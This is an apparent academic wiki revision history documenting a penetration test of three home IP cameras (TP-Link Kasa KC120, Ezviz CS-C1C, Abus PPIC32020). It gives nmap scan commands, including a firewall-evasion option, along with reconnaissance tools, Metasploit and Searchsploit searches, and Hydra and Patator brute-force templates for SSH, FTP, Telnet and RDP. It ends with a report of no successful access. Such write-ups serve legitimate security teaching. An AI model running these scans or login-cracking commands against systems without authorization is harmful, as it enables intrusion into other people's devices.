 $sudo nmap -sV -A &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:Agscan tplink.png | 400px]] || [[File:Agscan-evziz.png | 400px]] || [[File:Agscan abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP ports:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sT        &amp;lt;i&amp;gt;TCP connect port scan (Default without root privilege)&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sU        &amp;lt;i&amp;gt;UDP port scan&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:tcp-tplink.png | 400px]] || [[File:tcp-evziz.png | 400px]] || [[File:Tcp-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:udp-tplink.png | 400px]] || [[File:udp-e.png | 400px]] || [[File:udp-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Host discovery and port scan:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sn        &amp;lt;i&amp;gt;Disable port scanning. Host discovery only&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -Pn        &amp;lt;i&amp;gt;Disable host discovery. Port scan only (If the host is down)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:sn-tplink.png | 400px]] || [[File:sn-e.png | 400px]] || [[File:sn-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:pn-tplink.png | 400px]] || [[File:pn-e.png | 400px]] || [[File:pn-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Port Specification:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -p-        &amp;lt;i&amp;gt;Scan all ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:port-tpp.png | 400px]] || [[File:port-e.png | 400px]] || [[File:port-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OS Detection:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -O         &amp;lt;i&amp;gt;Remote OS detection using TCP/IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:o-tplink.png | 400px]] || [[File:o-e.png | 400px]] || [[File:o-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FIN-scan:&lt;br /&gt;
 $sudo nmap &amp;lt;target IP&amp;gt; -sF        &amp;lt;i&amp;gt;Scanner sends FIN segments&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:sf-tplink.png | 400px]] || [[File:sf-e.png | 400px]] || [[File:sf-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Firewall Evasion Technique:&lt;br /&gt;
 $sudo nmap -f &amp;lt;target IP&amp;gt;                       &amp;lt;i&amp;gt; augment packets &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:f-tplink.png | 400px]] || [[File:f-e.png | 400px]] || [[File:f-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Use a set of scripts from the /usr/share/nmap/scripts/ directory:&lt;br /&gt;
 $sudo nmap -sV --script $SCRIPT &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:script-tplink.png | 400px]] || [[File:script-e.png | 400px]] || [[File:script-abus.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Aggressive Scan:&lt;br /&gt;
 $sudo nmap -Pn -sS -sV -version-all --reason -v -A -O --osscan-guess &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:scan-tplink.png | 400px]] || [[File:scan-e.png | 600px]] || [[File:scan-abus.jpg | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Spiderfoot&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Spiderfoot uses various modules to collect information and it can collect information about the target host through the scanning options available in the Spiderfoot Framework.&lt;br /&gt;
 $spiderfoot -l &amp;lt;target IP&amp;gt;:&amp;lt;target Port&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:spiderfoot-tplink.png | 400px]] || [[File:spiderfoot-e.png | 800px]] || [[File:spiderfoot-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dmitry&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Dmitry Tool can be used to search subdomains of the target, find open ports of the target system, perform TCP scan, find operating system information, web server details, web host details, hosting service details, registered domain, name, address, the contact information of the person who registered it, find email addresses that are associated with the domain of the target.&lt;br /&gt;
 $dimitry -p -l &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:dmitry-tplink.png | 400px]] || [[File:dmitry-e.png | 400px]] || [[File:dmitry-abus.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;The Harvester&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
With the Harvester, you can gather information like emails, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and SHODAN computer database.&lt;br /&gt;
&lt;br /&gt;
 $theHarvester -d &amp;lt;target IP&amp;gt; -l 1000 -b google&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:harvester-tplink.png | 400px]] || [[File:harvester-e.png | 400px]] || [[File:harvester-abus.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;HackerEnv&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
HackerEnv is an automated tool developed in the Bash language that quickly performs port scans, scans target IP addresses for vulnerabilities, and retrieves exploits to form the Searchsploit utility.&lt;br /&gt;
 $git clone https://github.com/abdulr7mann/hackerEnv.git&lt;br /&gt;
 $cd hackerEnv&lt;br /&gt;
 $chmod +x hackerEnv&lt;br /&gt;
 $bash hackerEnv -t &amp;lt;target IP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:hacker-tplink.png | 400px]] || [[File:hacker-e.png | 400px]] || [[File:hacker-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Legion&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Legion works with a GUI which can perform automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer, and more (with almost 100 auto-scheduled scripts). It is already installed on Kali Linux 2022.2.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:legion-tplink.jpg.png | 400px]] || [[File:legion-e.png | 400px]] || [[File:legion-abuss.jpg | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Nessus&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Nessus is a special software, so-called vulnerability scanner, that inspects systems for security gaps and vulnerabilities. It can be used to identify local and remote vulnerabilities, to audit configuration and compliance, verify default credentials, and scan web applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 $sudo dpkg -i &amp;lt;Nessus deb file&amp;gt;&lt;br /&gt;
 $/bin/systemctl start nessusd.service&lt;br /&gt;
 go to https://kali:8834/ to configure the scanner&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:nessus-tplink.png | 200px]] || [[File:nessus-e.png | 400px]] || [[File:nessus-abus2.png | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wireshark&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Wireshark is a protocol analyzer. It is an essential tool for safety experts or gadget administrators. It is used to investigate the shape of various community protocols and has the ability to illustrate applications.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:wireshark-tplink.png | 400px]] || [[File:wireshark-ev.png | 800px]] || [[File:wireshark-abus.png | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Exploitation Tools ===&lt;br /&gt;
&amp;lt;b&amp;gt;Metasploit&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Test your camera for security gaps with the help of the framework provided by Metasploit. &lt;br /&gt;
You can use the various exploits collected by the framework to perform various security and penetration tests on your distributed target system. &lt;br /&gt;
The attack method (exploit) and the executed code (payload) are separated. &lt;br /&gt;
Exploits need to be specially tuned for various security gaps in software and hardware. &lt;br /&gt;
This code is used when the attack method is successful and can break into or compromise the system.&lt;br /&gt;
&lt;br /&gt;
 msf6 &amp;gt; search &amp;lt;open port protocol&amp;gt;           &amp;lt;i&amp;gt;Search for exploits of open ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C&lt;br /&gt;
|-&lt;br /&gt;
| [[File:metasploit-tplink.png | 400px]] [[File:ssl-tplink.png | 400px]] || [[File:metasploit-rtsp.png | 600px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Searchsploit&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
The SearchSploit utility is a local copy of the Exploit Database and it searches this database to find exploits for various software and services found during the penetration testing phase. You can also use this utility to inspect an exploit and make a copy that you can modify for use on a particular host.&lt;br /&gt;
&lt;br /&gt;
 $searchsploit &amp;lt;open port protocol&amp;gt;           &amp;lt;i&amp;gt;Search for exploits of open ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C&lt;br /&gt;
|-&lt;br /&gt;
| [[File:searchsploit-abyss.png | 400px]] || [[File:searchspoit-rtsp.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hydra and Patator &amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Hydra and Patator are login crackers that support numerous attack protocols.  These tools make it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. They are used to brute-force usernames and passwords to different services such as ftp, ssh, telnet, MS-SQL, etc.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
You can access the wordlist in a directory by using the below command.&lt;br /&gt;
 $cd /usr/share/wordlists&lt;br /&gt;
&lt;br /&gt;
 $hydra &amp;lt;Target_IP&amp;gt; ssh -l &amp;lt;username&amp;gt; -P &amp;lt;password_file&amp;gt; -s 22 -vV                          &amp;lt;i&amp;gt;to brute-force SSH username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
 $hydra -L &amp;lt;username_file&amp;gt; -P &amp;lt;password_file&amp;gt; ftp://&amp;lt;Target_IP&amp;gt;                             &amp;lt;i&amp;gt;to brute-force FTP username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
 $hydra -l &amp;lt;username&amp;gt; -p &amp;lt;password&amp;gt; telnet://&amp;lt;Target_IP&amp;gt;                                    &amp;lt;i&amp;gt;to brute-force Telnet username and password&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020&lt;br /&gt;
|-&lt;br /&gt;
| [[File:hydra-tplink.png | 400px]] || [[File:ssh-e.png | 600px]] || [[File:ssh-abus.jpg | 800px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 $patator rdp_login host=&amp;lt;target IP&amp;gt; user=FILE0 0=&amp;lt;username_file&amp;gt; password=FILE1 1=&amp;lt;password_file&amp;gt; -x ignore:code=131&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
|-&lt;br /&gt;
| [[File:patator.png | 400px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Report ===&lt;br /&gt;
All three cameras have motion and audio detection capabilities, and the app will notify you when motion is detected. Live video is also possible. &lt;br /&gt;
TP-Link saves the data for user registration and communication with external cloud services from Amazon Web Services, Inc. (410 Terry Avenue North, Seattle WA 98109, United States; &amp;quot;AWS&amp;quot;), and Evziz uses its own Evziz Cloud.&lt;br /&gt;
Unlike Abus and Evziz, you cannot store data on a MicroSD card on the kasa cam. All bits of the video are protected by industry-standard 128-bit AES encryption using SSL / TLS. &lt;br /&gt;
EZVIZ Cloud provides a dual encryption solution that covers both server-side and client-side encryption, so data transmission between the device and the cloud is encrypted end-to-end. It also advises users to make sure that the data is stored on the physical device in encrypted form. This reduces the risks associated with unauthorized access of data to physical devices. All cameras use the WiFi connection protocol which supports WEP and WPA / WPA2 encryption.&lt;br /&gt;
&lt;br /&gt;
The scan tools has detected four open ports on TP-Link&#039;s with the service abyss and cirrossp. The Evziz camera had four open ports running RTSP, http-alt, trivnet1, and sdr services. &lt;br /&gt;
The Abus camera had no open ports, only the MAC address was displayed. &lt;br /&gt;
TP-Link uses TCP as traceroute, Evziz uses ICMP and Abus uses broadcast.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The final Nmap scan on Kasa Cam showed that the device type is a webcam. Nmap is guessing that the Garmin Embedded is running on the camera. The OS CPE is cpe:/h:/garmin:virb_elite and it has to be a Garmin Virb Elite action camera. Using Evziz Cam, Nmap thinks that the operating system Linux is probably running on the camera.&lt;br /&gt;
&lt;br /&gt;
The exploit tools did not detect abyss and cirrossp exploits. The RTSP protocol on the Evziz camera had several exploits, but none of them has led to remote access. The login crackers could not infer login data. Based on these results, we would advise our client not to take new security measures.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.owasp.org/index.php/Main_Page&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
* https://nmap.org/&lt;br /&gt;
* https://www.spiderfoot.net/&lt;br /&gt;
* https://www.kali.org/tools/dmitry/&lt;br /&gt;
* https://github.com/laramies/theHarvester&lt;br /&gt;
* https://github.com/abdulr7mann/hackerEnv&lt;br /&gt;
* https://govanguard.com/legion/&lt;br /&gt;
* https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;br /&gt;
* https://www.kali.org/tools/wireshark/&lt;br /&gt;
* https://www.metasploit.com/&lt;br /&gt;
* https://www.speedguide.net/ports.php&lt;br /&gt;
* https://www.exploit-db.com/&lt;br /&gt;
* https://github.com/vanhauser-thc/thc-hydra&lt;br /&gt;
* https://github.com/lanjelot/patator&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9862</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9862"/>
		<updated>2022-06-13T09:20:54Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Requirements */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud and/or MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Collecting and examing key data approximately the software and its infrastructure. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Reporting&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Planning ===&lt;br /&gt;
&lt;br /&gt;
You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.&lt;br /&gt;
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.&lt;br /&gt;
&lt;br /&gt;
=== Scanning ===&lt;br /&gt;
&lt;br /&gt;
Target Specification:&lt;br /&gt;
 $sudo nmap 192.168.8.103        &amp;lt;i&amp;gt;Scan a single IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enables OS detection, version detection, script scanning, and traceroute:&lt;br /&gt;
 $sudo nmap -sV -A 192.168.8.103&lt;br /&gt;
&lt;br /&gt;
Scan TCP/UDP Ports:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sT    &amp;lt;i&amp;gt;TCP connect port scan (Default without root privilege).&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap 192.168.8.103 -sU    &amp;lt;i&amp;gt;UDP port scan.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Host Discovery and Port Scan:&lt;br /&gt;
 $sudo nmap 192.168.8.1/24 -sn         &amp;lt;i&amp;gt;Disable port scanning. Host discovery only.&amp;lt;/i&amp;gt;&lt;br /&gt;
 $sudo nmap 192.168.8.1-254 -Pn        &amp;lt;i&amp;gt;Disable host discovery. Port scan only. (If the host is down)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Port Specification:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -p-          &amp;lt;i&amp;gt;Scan all ports&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
OS Detection:&lt;br /&gt;
 $sudo nmap 192.168.8.103 -O          &amp;lt;i&amp;gt;Remote OS detection using TCP/IP&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]&lt;br /&gt;
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]&lt;br /&gt;
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org/tools-listing&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>RCox</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9861</id>
		<title>IOT Security: Pentesting on IP Cameras</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IOT_Security:_Pentesting_on_IP_Cameras&amp;diff=9861"/>
		<updated>2022-06-13T09:20:20Z</updated>

		<summary type="html">&lt;p&gt;RCox: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Operating System&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kali Linux 2022.2&lt;br /&gt;
&amp;lt;b&amp;gt;Hardware&amp;lt;/b&amp;gt;&lt;br /&gt;
* TP-link Kasa Cam Smart Home Camera KC120&lt;br /&gt;
** Encryption:  128-Bit-AES, WPA/WPA2-PSK&lt;br /&gt;
** Storage: Amazon Web Services (AWS) Cloud&lt;br /&gt;
* Ezviz CS-C1C &lt;br /&gt;
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK&lt;br /&gt;
** Storage: EZVIZ cloud or/and MicroSD&lt;br /&gt;
* Abus PPIC32020&lt;br /&gt;
** Encryption: AES 128bit, WPA/WPA2-PSK&lt;br /&gt;
** Storage: MicroSD&lt;br /&gt;
&amp;lt;b&amp;gt;Apps&amp;lt;/b&amp;gt;&lt;br /&gt;
* Kasa Smartphone application (IOS or Android)&lt;br /&gt;
* Ezviz Smartphone application (IOS or Android)&lt;br /&gt;
* ABUS App2Cam Plus Smartphone application (IOS or Android)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
A penetration test  can be divided into several stages:&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Planning&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Gathering Information&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Collecting and examing key data approximately the software and its infrastructure. &amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Discovering Vulnerabilities&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;b&amp;gt;Exploitation&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
